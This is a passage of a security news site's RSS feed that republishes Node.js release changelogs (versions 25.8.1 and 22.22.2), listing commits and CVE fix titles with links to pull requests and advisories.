<li>[<a href="https://github.com/nodejs/node/commit/1b9eab4a1c"><code>1b9eab4a1c</code></a>] - <strong>tools,doc</strong>: fix format-md files list (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/61147" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61147/hovercard">#61147</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b20d9c2ce7"><code>b20d9c2ce7</code></a>] - <strong>tools,doc</strong>: update JavaScript primitive types to match MDN Web Docs (JustApple) <a href="https://github.com/nodejs/node/pull/60581" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60581/hovercard">#60581</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/31760b1beb"><code>31760b1beb</code></a>] - <strong>typings</strong>: add typing for string_decoder (Taejin Kim) <a href="https://github.com/nodejs/node/pull/61368" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61368/hovercard">#61368</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d6b908917c"><code>d6b908917c</code></a>] - <strong>typings</strong>: add missing properties and method in Worker (Woohyun Sung) <a href="https://github.com/nodejs/node/pull/60257" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60257/hovercard">#60257</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1e8b6d5686"><code>1e8b6d5686</code></a>] - <strong>typings</strong>: add missing properties in HTTPParser (Woohyun Sung) <a href="https://github.com/nodejs/node/pull/60257" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60257/hovercard">#60257</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/27ae9b4a26"><code>27ae9b4a26</code></a>] - <strong>typings</strong>: delete undefined property in ConfigBinding (Woohyun Sung) <a href="https://github.com/nodejs/node/pull/60257" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60257/hovercard">#60257</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f43c6434e2"><code>f43c6434e2</code></a>] - <strong>typings</strong>: add buffer internalBinding typing (방진혁) <a href="https://github.com/nodejs/node/pull/60163" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60163/hovercard">#60163</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e7f954f63a"><code>e7f954f63a</code></a>] - <strong>url</strong>: add fast path to getPathFromURL decoder (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60749" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60749/hovercard">#60749</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c149b64473"><code>c149b64473</code></a>] - <strong>url</strong>: remove array.reduce usage (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60748" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60748/hovercard">#60748</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0bd291bff1"><code>0bd291bff1</code></a>] - <strong>util</strong>: optimize toASCIILower function using V8s native toLowerCase (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61107" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61107/hovercard">#61107</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bbc54b3c96"><code>bbc54b3c96</code></a>] - <strong>util</strong>: limit <code>inspect</code> to only show own properties (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/61032" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61032/hovercard">#61032</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/78e5fa23c4"><code>78e5fa23c4</code></a>] - <strong>util</strong>: fix parseArgs skipping positional arg with --eval and --print (azadgupta1) <a href="https://github.com/nodejs/node/pull/60814" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60814/hovercard">#60814</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f75ec19105"><code>f75ec19105</code></a>] - <strong>util</strong>: assert getCallSites does not invoke Error.prepareStackTrace (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60922" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60922/hovercard">#60922</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d77da9306c"><code>d77da9306c</code></a>] - <strong>util</strong>: fix stylize of special properties in inspect (Ge Gao) <a href="https://github.com/nodejs/node/pull/60479" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60479/hovercard">#60479</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3a4edc8f6d"><code>3a4edc8f6d</code></a>] - <strong>util</strong>: use more defensive code when inspecting error objects (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60139" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60139/hovercard">#60139</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/25c33af752"><code>25c33af752</code></a>] - <strong>util</strong>: mark special properties when inspecting them (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/60131" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60131/hovercard">#60131</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f98b46716"><code>3f98b46716</code></a>] - <strong>vm</strong>: make vm.Module.evaluate() conditionally synchronous (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60205" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60205/hovercard">#60205</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f64a691493"><code>f64a691493</code></a>] - <strong>win</strong>: upgrade Visual Studio workload from 2019 to 2022 (Jiawen Geng) <a href="https://github.com/nodejs/node/pull/60318" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60318/hovercard">#60318</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8e04327954"><code>8e04327954</code></a>] - <strong>worker</strong>: update code examples for <code>node:worker_threads</code> module (fisker Cheung) <a href="https://github.com/nodejs/node/pull/58264" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58264/hovercard">#58264</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c4440dcc60"><code>c4440dcc60</code></a>] - <strong>worker</strong>: remove not implemented declarations (Artur Gawlik) <a href="https://github.com/nodejs/node/pull/60655" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60655/hovercard">#60655</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/df4cc62954"><code>df4cc62954</code></a>] - <strong>zlib</strong>: validate write_result array length (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/61342" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61342/hovercard">#61342</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-03-11, Version 25.8.1 (Current), @aduh95]]></title>
<description><![CDATA[Notable Changes

[ea87eea71a] - module: fix extensionless CJS files in "type": "module" packages (Matteo Collina) #62083

Commits

[bab750d1b3] - build: do not depend on V8 deps on --without-bundled-v8 builds (Antoine du Hamel) #62033
[b26d1c7fcb] - crypto: make --use-system-ca per-env rather tha...]]></description>
<link>https://tsecurity.de/de/3487704/downloads/2026-03-11-version-2581-current-aduh95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487704/downloads/2026-03-11-version-2581-current-aduh95/</guid>
<pubDate>Tue, 05 May 2026 02:03:01 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/ea87eea71a"><code>ea87eea71a</code></a>] - <strong>module</strong>: fix extensionless CJS files in <code>"type": "module"</code> packages (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62083" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62083/hovercard">#62083</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/bab750d1b3"><code>bab750d1b3</code></a>] - <strong>build</strong>: do not depend on V8 deps on <code>--without-bundled-v8</code> builds (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62033" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62033/hovercard">#62033</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b26d1c7fcb"><code>b26d1c7fcb</code></a>] - <strong>crypto</strong>: make --use-system-ca per-env rather than per-process (Aditi) <a href="https://github.com/nodejs/node/pull/60678" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60678/hovercard">#60678</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e362635abf"><code>e362635abf</code></a>] - <strong>crypto</strong>: add missing AES dictionaries (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62099" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62099/hovercard">#62099</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6f975db8af"><code>6f975db8af</code></a>] - <strong>crypto</strong>: fix importKey required argument count check (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62099" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62099/hovercard">#62099</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3beaf9c5fc"><code>3beaf9c5fc</code></a>] - <strong>deps</strong>: update amaro to 1.1.8 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62151" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62151/hovercard">#62151</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/53afb0edd8"><code>53afb0edd8</code></a>] - <strong>deps</strong>: update sqlite to 3.52.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62150" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62150/hovercard">#62150</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a13ed052a1"><code>a13ed052a1</code></a>] - <strong>deps</strong>: update merve to 1.2.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62149" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62149/hovercard">#62149</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2c850577b7"><code>2c850577b7</code></a>] - <strong>deps</strong>: patch resb crate (Richard Lau) <a href="https://github.com/nodejs/node/pull/62138" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62138/hovercard">#62138</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/37862a6728"><code>37862a6728</code></a>] - <strong>deps</strong>: V8: cherry-pick aa0b288f87cc (Richard Lau) <a href="https://github.com/nodejs/node/pull/62136" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62136/hovercard">#62136</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/09191ad8b4"><code>09191ad8b4</code></a>] - <strong>deps</strong>: update ada to 3.4.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62049" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62049/hovercard">#62049</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8d63a178fd"><code>8d63a178fd</code></a>] - <strong>doc</strong>: copyedit <code>addons.md</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62071" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62071/hovercard">#62071</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83719ffb64"><code>83719ffb64</code></a>] - <strong>doc</strong>: correct <code>util.convertProcessSignalToExitCode</code> validation behavior (René) <a href="https://github.com/nodejs/node/pull/62134" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62134/hovercard">#62134</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eeee7c7fb1"><code>eeee7c7fb1</code></a>] - <strong>doc</strong>: add efekrskl as triager (Efe) <a href="https://github.com/nodejs/node/pull/61876" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61876/hovercard">#61876</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db150b2e69"><code>db150b2e69</code></a>] - <strong>doc</strong>: fix markdown for <code>expectFailure</code> values (Jacob Smith) <a href="https://github.com/nodejs/node/pull/62100" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62100/hovercard">#62100</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d55a441e60"><code>d55a441e60</code></a>] - <strong>doc</strong>: add title to index (Aviv Keller) <a href="https://github.com/nodejs/node/pull/62046" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62046/hovercard">#62046</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc46204b48"><code>cc46204b48</code></a>] - <strong>doc</strong>: include url.resolve() in DEP0169 application deprecation (Mike McCready) <a href="https://github.com/nodejs/node/pull/62002" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62002/hovercard">#62002</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1d91a7261e"><code>1d91a7261e</code></a>] - <strong>doc,module</strong>: add missing doc for syncHooks.deregister() (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61959" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61959/hovercard">#61959</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5198573bee"><code>5198573bee</code></a>] - <strong>http</strong>: fix use-after-free when freeParser is called during llhttp_execute (Gerhard Stöbich) <a href="https://github.com/nodejs/node/pull/62095" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62095/hovercard">#62095</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f8793f80df"><code>f8793f80df</code></a>] - <strong>lib</strong>: fix source map url parse in dynamic imports (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61990" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61990/hovercard">#61990</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5439d0e0cf"><code>5439d0e0cf</code></a>] - <strong>meta</strong>: bump actions/download-artifact from 7.0.0 to 8.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62063" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62063/hovercard">#62063</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/27fd21943a"><code>27fd21943a</code></a>] - <strong>meta</strong>: bump actions/upload-artifact from 6.0.0 to 7.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62062" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62062/hovercard">#62062</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b266f3295"><code>5b266f3295</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.14.2 to 2.15.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62064" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62064/hovercard">#62064</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea87eea71a"><code>ea87eea71a</code></a>] - <strong>module</strong>: fix extensionless CJS files in <code>"type": "module"</code> packages (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62083" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62083/hovercard">#62083</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/851228cd60"><code>851228cd60</code></a>] - <strong>sqlite</strong>: handle stmt invalidation (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/61877" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61877/hovercard">#61877</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/19efe60548"><code>19efe60548</code></a>] - <strong>src</strong>: expose async context frame debugging helper to JS (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62103" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62103/hovercard">#62103</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0257e8072f"><code>0257e8072f</code></a>] - <strong>src</strong>: make AsyncWrap subclass internal field counts explicit (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62103" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62103/hovercard">#62103</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/975dafbe3b"><code>975dafbe3b</code></a>] - <strong>src</strong>: release context frame in AsyncWrap::EmitDestroy (Gerhard Stöbich) <a href="https://github.com/nodejs/node/pull/61995" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61995/hovercard">#61995</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f2c08c7888"><code>f2c08c7888</code></a>] - <strong>src</strong>: use validate_ascii_with_errors instead of validate_ascii (Сковорода Никита Андреевич) <a href="https://github.com/nodejs/node/pull/61122" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61122/hovercard">#61122</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0278461d83"><code>0278461d83</code></a>] - <strong>stream</strong>: optimize webstreams pipeTo (Mattias Buelens) <a href="https://github.com/nodejs/node/pull/62079" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62079/hovercard">#62079</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d62e95bfa"><code>4d62e95bfa</code></a>] - <strong>stream</strong>: fix brotli error handling in web compression streams (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62107" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62107/hovercard">#62107</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4bdcaf2865"><code>4bdcaf2865</code></a>] - <strong>stream</strong>: improve Web Compression spec compliance (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62107" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62107/hovercard">#62107</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a5b1be2045"><code>a5b1be2045</code></a>] - <strong>stream</strong>: fix UTF-8 character corruption in fast-utf8-stream (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61745" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61745/hovercard">#61745</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5632446c4e"><code>5632446c4e</code></a>] - <strong>stream</strong>: fix TransformStream race on cancel with pending write (Marco) <a href="https://github.com/nodejs/node/pull/62040" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62040/hovercard">#62040</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f90fa9cd1a"><code>f90fa9cd1a</code></a>] - <strong>stream</strong>: accept ArrayBuffer in CompressionStream and DecompressionStream (조수민) <a href="https://github.com/nodejs/node/pull/61913" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61913/hovercard">#61913</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00319eaa3a"><code>00319eaa3a</code></a>] - <strong>test</strong>: update WPT for url to c928b19ab0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62148" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62148/hovercard">#62148</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/456abc7d20"><code>456abc7d20</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to c9e955840a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62147" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62147/hovercard">#62147</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/82770cb7d3"><code>82770cb7d3</code></a>] - <strong>test</strong>: improve WPT report runner (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62107" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62107/hovercard">#62107</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cfc847d233"><code>cfc847d233</code></a>] - <strong>test</strong>: update WPT compression to ae05f5cb53 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62107" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62107/hovercard">#62107</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/80f78f2737"><code>80f78f2737</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 42e47329fd (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62048" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62048/hovercard">#62048</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8048e0508c"><code>8048e0508c</code></a>] - <strong>test</strong>: fix skipping behavior for <code>test-runner-run-files-undefined</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62026" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62026/hovercard">#62026</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/699a6214c6"><code>699a6214c6</code></a>] - <strong>tools</strong>: revert timezone update GHA workflow to ubuntu-latest (Richard Lau) <a href="https://github.com/nodejs/node/pull/62140" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62140/hovercard">#62140</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1a453b550c"><code>1a453b550c</code></a>] - <strong>tools</strong>: improve error handling in test426 update script (Rich Trott) <a href="https://github.com/nodejs/node/pull/62121" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62121/hovercard">#62121</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/710dde5ee2"><code>710dde5ee2</code></a>] - <strong>tools</strong>: fix <code>--node-builtin-modules-path</code> value in <code>shell.nix</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62102" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62102/hovercard">#62102</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dcb1cbb21f"><code>dcb1cbb21f</code></a>] - <strong>tools</strong>: bump the eslint group across 1 directory with 2 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62092" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62092/hovercard">#62092</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d0b758583"><code>7d0b758583</code></a>] - <strong>tools</strong>: fix daily wpt workflow nighly release version lookup (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62076" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62076/hovercard">#62076</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3e8c816f2e"><code>3e8c816f2e</code></a>] - <strong>tools</strong>: fix example in release proposal linter (Richard Lau) <a href="https://github.com/nodejs/node/pull/62074" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62074/hovercard">#62074</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/772d3d270d"><code>772d3d270d</code></a>] - <strong>tools</strong>: bump minimatch from 3.1.3 to 3.1.5 in /tools/clang-format (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62013" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62013/hovercard">#62013</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92f3b42672"><code>92f3b42672</code></a>] - <strong>tools</strong>: bump eslint to v10, babel to v8.0.0-rc.2 (Huáng Jùnliàng) <a href="https://github.com/nodejs/node/pull/61905" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61905/hovercard">#61905</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/deead95ec5"><code>deead95ec5</code></a>] - <strong>url</strong>: suppress warnings from url.format/url.resolve inside node_modules (René) <a href="https://github.com/nodejs/node/pull/62005" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62005/hovercard">#62005</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-03-24, Version 22.22.2 'Jod' (LTS), @RafaelGSS prepared by @aduh95]]></title>
<description><![CDATA[This is a security release.
Notable Changes

(CVE-2026-21637) wrap SNICallback invocation in try/catch (Matteo Collina) - High
(CVE-2026-21710) use null prototype for headersDistinct/trailersDistinct (Matteo Collina) - High
(CVE-2026-21713) use timing-safe comparison in Web Cryptography HMAC (Fil...]]></description>
<link>https://tsecurity.de/de/3487695/downloads/2026-03-24-version-22222-jod-lts-rafaelgss-prepared-by-aduh95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487695/downloads/2026-03-24-version-22222-jod-lts-rafaelgss-prepared-by-aduh95/</guid>
<pubDate>Tue, 05 May 2026 02:02:50 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a security release.</p>
<h3>Notable Changes</h3>
<ul>
<li>(<a title="CVE-2026-21637" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-ggxc-26fx-987r/hovercard" href="https://github.com/advisories/GHSA-ggxc-26fx-987r">CVE-2026-21637</a>) wrap <code>SNICallback</code> invocation in <code>try</code>/<code>catch</code> (Matteo Collina) - High</li>
<li>(<a title="CVE-2026-21710" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-xv6w-gxj8-v943/hovercard" href="https://github.com/advisories/GHSA-xv6w-gxj8-v943">CVE-2026-21710</a>) use null prototype for <code>headersDistinct</code>/<code>trailersDistinct</code> (Matteo Collina) - High</li>
<li>(<a title="CVE-2026-21713" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-6r7g-3mm3-fhw7/hovercard" href="https://github.com/advisories/GHSA-6r7g-3mm3-fhw7">CVE-2026-21713</a>) use timing-safe comparison in Web Cryptography HMAC (Filip Skokan) - Medium</li>
<li>(<a title="CVE-2026-21714" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-cfr8-f5q7-84wq/hovercard" href="https://github.com/advisories/GHSA-cfr8-f5q7-84wq">CVE-2026-21714</a>) handle <code>NGHTTP2_ERR_FLOW_CONTROL</code> error code (RafaelGSS) - Medium</li>
<li>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>) test array index hash collision (Joyee Cheung) - Medium</li>
<li>(<a title="CVE-2026-21715" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-8jgr-5cgv-g667/hovercard" href="https://github.com/advisories/GHSA-8jgr-5cgv-g667">CVE-2026-21715</a>) add permission check to <code>realpath.native</code> (RafaelGSS) - Low</li>
<li>(<a title="CVE-2026-21716" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-22vj-v4r3-878v/hovercard" href="https://github.com/advisories/GHSA-22vj-v4r3-878v">CVE-2026-21716</a>) include permission check on <code>lib/fs/promises</code> (RafaelGSS) - Low</li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/6f14ee5101"><code>6f14ee5101</code></a>] - <strong>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>)</strong> <strong>build,test</strong>: test array index hash collision (Joyee Cheung) <a href="https://github.com/nodejs-private/node-private/pull/809" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/809/hovercard">nodejs-private/node-private#809</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/52a52ef619"><code>52a52ef619</code></a>] - <strong>(<a title="CVE-2026-21713" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-6r7g-3mm3-fhw7/hovercard" href="https://github.com/advisories/GHSA-6r7g-3mm3-fhw7">CVE-2026-21713</a>)</strong> <strong>crypto</strong>: use timing-safe comparison in Web Cryptography HMAC (Filip Skokan) <a href="https://github.com/nodejs-private/node-private/pull/822" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/822/hovercard">nodejs-private/node-private#822</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/30a3ab11e2"><code>30a3ab11e2</code></a>] - <strong>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>)</strong> <strong>deps</strong>: V8: cherry-pick aac14dd95e5b (Joyee Cheung) <a href="https://github.com/nodejs-private/node-private/pull/809" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/809/hovercard">nodejs-private/node-private#809</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e3f4d6a42e"><code>e3f4d6a42e</code></a>] - <strong>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>)</strong> <strong>deps</strong>: V8: backport 1361b2a49d02 (Joyee Cheung) <a href="https://github.com/nodejs-private/node-private/pull/809" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/809/hovercard">nodejs-private/node-private#809</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7dc00fa5f4"><code>7dc00fa5f4</code></a>] - <strong>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>)</strong> <strong>deps</strong>: V8: backport 185f0fe09b72 (Joyee Cheung) <a href="https://github.com/nodejs-private/node-private/pull/809" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/809/hovercard">nodejs-private/node-private#809</a></li>
